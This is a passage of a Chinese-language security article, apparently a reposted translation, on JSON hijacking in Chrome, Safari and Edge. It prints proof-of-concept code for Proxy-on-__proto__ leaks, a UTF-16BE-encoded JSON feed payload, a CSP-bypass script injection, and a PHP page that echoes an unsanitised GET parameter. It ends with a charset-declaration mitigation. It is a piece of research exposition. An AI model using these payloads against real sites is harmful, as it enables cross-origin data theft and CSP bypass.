JSON

【技术分享】现代浏览器中的新型JSON劫持技术(2)

字号+ 作者:H5之家 来源:H5之家 2017-01-22 12:00 我要评论( )

需要注意的是,这项攻击技术同样适用于最新版本的Safari浏览器。与Chrome浏览器的攻击场景不同,我们在这里只需要使用四个__proto__,并且使用代理中的“name”参数即可。具体代码如下所示: script__proto__.__pro

需要注意的是,这项攻击技术同样适用于最新版本的Safari浏览器。与Chrome浏览器的攻击场景不同,我们在这里只需要使用四个__proto__,并且使用代理中的“name”参数即可。具体代码如下所示:

<script> __proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{         has:function f(target,name){             (name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));         } }); </script>

在进行了进一步测试之后,我发现Safari与Edge一样无法抵御这种类型的攻击,而且我们只需要使用两个__proto__(即__proto__.__proto__)便可进行跨域窃取数据了。


在无JS代理的情况下劫持JSON feed

我在上文中提到过,目前大多数主流的浏览器都支持UTF-16BE字符集,那么我们怎样才可以在没有JS代理的情况下攻击JSON数据呢?首先,你需要控制其中的部分数据,然后JSON feed必须能够组合并构建出一个有效的JavaScript变量。现在,我们要输出一个UTF-16BE编码的字符串,然后为非ASCII变量赋值。接下来,在循环中检查这个值是否存在。相关代码如下所示:

=1337;for(i in window)if(window[i]===1337)(i)

这段代码会被编码为UTF-16BE字符串,所以我们最终得到的仍然是代码,而不是一个非ASCII变量。完整的JSON feed如下所示:

{"abc":"abcdsssdfsfds","a":"<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}))}catch(e){}}});++window.", "UTF-16BE")?>a":"dasfdasdf"}


绕过CSP(内容安全策略)

使用UTF-16BE绕过CSP的PoC [点我获取]

可能你已经注意到了,一个UTF-16BE编码字符串还会将很多其他的对象(包括空行)转换为非ASCII变量,这也就使得我们可以利用这一点来绕过CSP了。要注意的是,HTML文档同样会被视为一个JavaScript变量,我们所要做的就是插入一个带有UTF-16BE字符集的脚本,并通过这个带有UTF编码值的脚本绕过内容安全策略。

这个HTML文档如下所示:

<!doctype HTML><html> <head> <title>Test</title> <?php echo $_GET['x']; ?> </head> <body> </body> </html>

请注意,HTML文档中并没有声明所用的字符集,这并不是因为字符集不重要,而是因为引号和meta元素将会使我们的JavaScript脚本失效。Payload如下所示(为了构建出有效的变量,tab是必须的):

<script%20src="index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2500(%25001%2500)%2500%253B%2500%252F%2500%252F"%20charset="UTF-16BE"></script>


缓解方案

为了有效地防止这种基于字符集的攻击,你可以在HTTP的content-type header中声明你需要使用的字符集(例如UTF-8)。PHP 5.6使用的也是这种策略,如果HTTP的content-type header中没有设置字符集的话,它将会自动声明使用UTF-8。


总结

实验结果表明,Edge、Safari和Chrome都存在这个漏洞,而攻击者将可以通过这个漏洞跨域读取未声明的变量。除此之外,攻击者还可以使用不同的字符集来绕过目标应用的内容安全策略(CSP)并窃取脚本数据。如果你可以控制服务器端的JSON响应信息,那么就算你没有设置代理,你同样能够成功地窃取数据。

本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:

 

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
网友点评
a